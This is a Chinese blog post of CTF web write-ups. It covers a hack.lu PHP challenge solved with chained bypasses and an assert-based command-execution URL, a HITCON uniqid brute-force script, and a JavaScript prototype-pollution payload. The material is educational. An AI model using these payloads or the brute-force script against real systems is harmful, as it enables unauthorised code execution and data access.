ukysblog
首页项目归档刷题记录照片墙音乐说说杂谈友链关于
封面

week1

PRACTICE
2026-05-16
# ctf

2018-hack.lu-Web-baby

这到底从上到下顺序多个绕过点

  • 第一个绕过点
if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

简单写文件,直接?msg=data://text/plain,Hello%20Challenge!就可以了

  • 第二个绕过点
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

intval()将字符串转换成整数,转换规则是从字符串开头开始转换,直到遇到第一个非数字字符为止

弱比较漏洞就不多说了,key1=1337a

  • 第三个绕过点
if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

$k2长度必须是42,并且正则匹配为纯数字但is_numeric不能匹配为数字,而且弱比较等于1337...
好吧这其实是个坑,这里正则结尾的$是全角符号,所以这个正则表达式匹配的字符串必须以全角$结尾。用$的十六进制url编码是%EF%BC%84,占三字节,故key2=000000000000000000000000000000000001337%ef%bc%84

php的strlen按照的是字节数计算,一个字母或数字,换行符占一字节,而全角符号/汉字占3个字节

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$b=1;//;"b"=a$;"2" = b

if($$a !== $k1){
    die("lel no\n");
}

先把k1,k2交换了位置,如果substr(cc,cc, cc,bb) === sha1(cc)成立,遍历\_GET字典,把每个键值对都变成一个变量,键是变量名,值是变量值

list() 是 PHP 的一个内置结构,它的作用是把数组里的值,按顺序分别塞进括号里的变量中
foreach遍历字典,as前面是字典,后面是键和值
$_GET是一个全局变量字典,包含了所有通过HTTP GET方法传递的参数。只要填写了参数都会放入字典
$$叫可变变量,$$a就是把a的值当成变量名来访问。这里$lel是键名,而$$lel就是以这个键名重新命名一个变量,值为$hack。覆盖变量的意思

sha1和md5一个样子,传入数组使其null===null就行
最难的是下面这一行$b=1;//;"b"=a$;"2" = b
这里加了个隐式字符RLO (Right-to-Left Override, U+202E),它会把后面的字符串反过来显示,所以实际上这一行的代码是

$‮b=1;//;"b"=a$;"2" = b

所以对于$$a !== $k1只要让$k1=2就行。foreach变量覆盖时会根据GET生成变量,于是GET参数必须写上k1=2

  • 最后RCE
assert("$bb == $cc");

assert()函数会把传入的字符串当成PHP代码执行

传参bb=system('cat flag.php');//就行了

最终组合

/?msg=data://text/plain,Hello%20Challenge!&key1=1337a&k1=2&key2=000000000000000000000000000000000001337%ef%bc%84&cc[]=&bb=system('cat flag.php');//

回头来看交换变量其实只是个眼障

2022-HitCon-Web-yeeclass

依旧白盒审计
submission.php里前端可以看到超链接

<?php foreach ($result as $row) { ?>
	<tr>
		<?php if ((isset($_SESSION["userid"]) && $_SESSION["userclass"] >= PERM_TA) || $row["userid"] == $_SESSION["userid"]) { ?>
		<td><a href="submission.php?hash=<?= $row['hash'] ?>"><?= $row["name"] ?></a></td>
		<?php } else { ?>
		<td><?= $row["name"] ?></td>
		<?php } ?>
		<td><?= $row["score"] ?? "-" ?></td>
		<td><?= $row["username"] ?></td>
		<td><?= $row["time"] ?></td>
	</tr>
<?php } ?>
  • <?= ?>是PHP的短标签,等价于<?php echo ?>,用来输出变量值
  • foreach()是PHP的一个控制结构,用来遍历数组或对象。语法是foreach ($array as $value) ,其中$array是要遍历的数组,$value是每次迭代时当前元素的值
  • ?? 是PHP的空合并运算符,用来判断一个变量是否存在且不为null,如果存在且不为null就返回这个变量的值,否则返回??后面的值
if (isset($_GET["hash"]) && $_GET["hash"] != "") {
    // view single submission
    $mode = "view";
    $submission_query = $pdo->prepare("SELECT s.*, u.username, h.name from submission s LEFT JOIN user u ON u.id=s.userid LEFT JOIN homework h ON h.id=s.homeworkid WHERE s.`hash`=?");
    $submission_query->execute(array($_GET["hash"]));
    $result = $submission_query->fetch(PDO::FETCH_ASSOC);
  • 首先是扩展函数PDO的用法(防sqli):
    prepare()方法用来预处理SQL语句,返回一个PDOStatement对象,语句中的占位符用?表示
    execute()方法用来执行预处理语句,参数是一个数组,表示SQL语句中的占位符的值
    fetch()方法用来获取查询结果,有几种常用的获取形式:

PDO::FETCH_ASSOC表示以关联数组的形式返回结果
PDO::FETCH_NUM表示以索引数组的形式返回结果
PDO::FETCH_BOTH表示同时以关联数组和索引数组的形式混合返回(默认)
PDO::FETCH_OBJ表示以匿名对象的形式返回结果

  • LEFT JOIN是SQL中的一种连接方式,用来从两个表中获取数据。LEFT JOIN会返回左表(submission)中的所有记录,以及右表(user和homework)中匹配的记录合并在一起,如果右表没有匹配的记录,则返回NULL

这里的关联条件是提交记录里的 userid 等于用户表的 id,提交记录里的 homeworkid 等于作业表的 id。通俗一点来说就是fetch出全部提交记录,然后罗列成一列一列超链接的方式显示在前端

这些只是在积累审计经验,真正的漏洞在提交部分submit.php里

if ($_SERVER["REQUEST_METHOD"] == "POST" || isset($_GET["delete"])) {
    $homeworkid = (isset($_GET["delete"])) ? $_GET["homeworkid"] : $_POST["homeworkid"];
    
    $homework_query = $pdo->prepare("SELECT id, `open` FROM homework WHERE id=?");
    $homework_query->execute(array($homeworkid));
    $result = $homework_query->fetch();

    if (!$result) {
        if (isset($_GET["delete"])) {
            // deletion
            http_response_code(404);
            die("No submission to delete");
        } else {
            // 注意下面这部分
            $id = uniqid($_SESSION["username"]."_");
            $submit_query = $pdo->prepare("INSERT INTO submission (`hash`, userid, homeworkid, content) VALUES (?, ?, ?, ?)");
            $submit_query->execute(array(
                hash("sha1", $id),
                $_SESSION["userid"],
                $_POST["homeworkid"],
                $_POST["content"]
            ));

            $hash_query = $pdo->prepare("SELECT `hash` FROM submission WHERE userid=? AND homeworkid=?");
            $hash_query->execute(array($_SESSION["userid"], $_POST["homeworkid"]));
            $result = $hash_query->fetch();

            http_response_code(302);
            header("Location: submission.php?hash={$result['hash']}");
            exit;
        }
    }

这是一个作业提交流程。POST提交作业时,当数据库没有对应的作业id,就插入数据库并生成一个id和hash值,然后根据数据库的hash值重定向到作业详情页,submission.php?hash={$result['hash']}

uniqid($val)是PHP的内置函数,用来生成一个基于当前微秒时间的唯一字符串加在$val后面。但它只是把当前的“秒+微秒”转换成了13位的十六进制字符串,所以有爆破的可能性

回到原题就是一个flag的作业详情页无法查看,但知道提交人和记录时间。解法就出来了。直接写脚本爆破uniqid

import requests
import hashlib
from datetime import datetime, timezone

username = "flagholder"
timestamp = '2026-03-26 20:30:48.540403'

dt = datetime.fromisoformat(timestamp)#.replace(tzinfo=timezone.utc)
sec = int(dt.timestamp())
usec = dt.microsecond
print(sec, usec)

url = 'http://challenge-def7fc8b931a17ec.sandbox.ctfhub.com:10800/submission.php?hash='

def get_hash(sec, usec):
    user_id = f"{username}_{sec:08x}{usec:05x}"
    return hashlib.sha1(user_id.encode()).hexdigest()

for i in range(0, 1000):
    hash = get_hash(sec, usec - i)
    r = requests.get(url + hash)
    print(i, hash)
    if r.text != "Submission not found.":
        print("Found hash:", hash)
        print(r.text)
        break

极客大挑战2024-ez_js

登陆系统,按照提示找到用户名,再爆破出密码,得到部分源码

// ====== utils/common.js ======
function merge(object1, object2) {
    for (let key in object2) {
        if (key in object2 && key in object1) {
            merge(object1[key], object2[key]); 
        } else {
            object1[key] = object2[key];  
        }
    }
}
module.exports = { merge };

// ====== main.js (路由处理逻辑) ======
const { merge } = require('./utils/common.js'); 
const path = require('path');

function handleLogin(req, res) {
    // 1. 初始化 geeker 对象,此时它只有 geekerData 属性,没有 hasFlag 属性
    var geeker = new function() {
        this.geekerData = new function() {
            this.username = req.body.username;
            this.password = req.body.password;
        };
    };
 
    // 2. 将前端传来的 JSON (req.body) 合并到 geeker 对象中
    merge(geeker, req.body);
 
    // 3. 校验账号密码
    if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
        if(geeker.hasFlag){
            const filePath = path.join(__dirname, 'static', 'direct.html');
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end();
                }
            });
        } else {
            const filePath = path.join(__dirname, 'static', 'error.html');
            res.sendFile(filePath, /* ... */);
        } 
    } else {
        // 账密错误
        const filePath = path.join(__dirname, 'static', 'error2.html'); 
        res.sendFile(filePath, /* ... */);
    }
}

path.join()用于将字符串连接成一个路径,__dirname是当前文件所在目录的绝对路径,比如/var/www/html/app/static/direct.html
.sendFile(path,err)方法用于将文件发送给客户端,path参数是文件的绝对路径
(err) => {...}是一个回调函数,当错误发生就会填充err并执行err函数里的内容
回调函数:当异步操作完成时被调用的函数,通常用于处理异步操作的结果或错误

这个原型链污染考的挺简单的

{
  "username": "Starven",
  "password": "123456",
  "__proto__": {
    "hasFlag": true //不加引号
  }
}

显示让我去/flag看看,进去发现是输入框,好家伙还有第二关

但又看了一下很多人吐槽第二关预期解是一坨,true都能给拼错,没什么参考价值

avatar

uky

后端安全方向,ctf-web手

PRACTICE

week2

2026-05-16

Table of Contents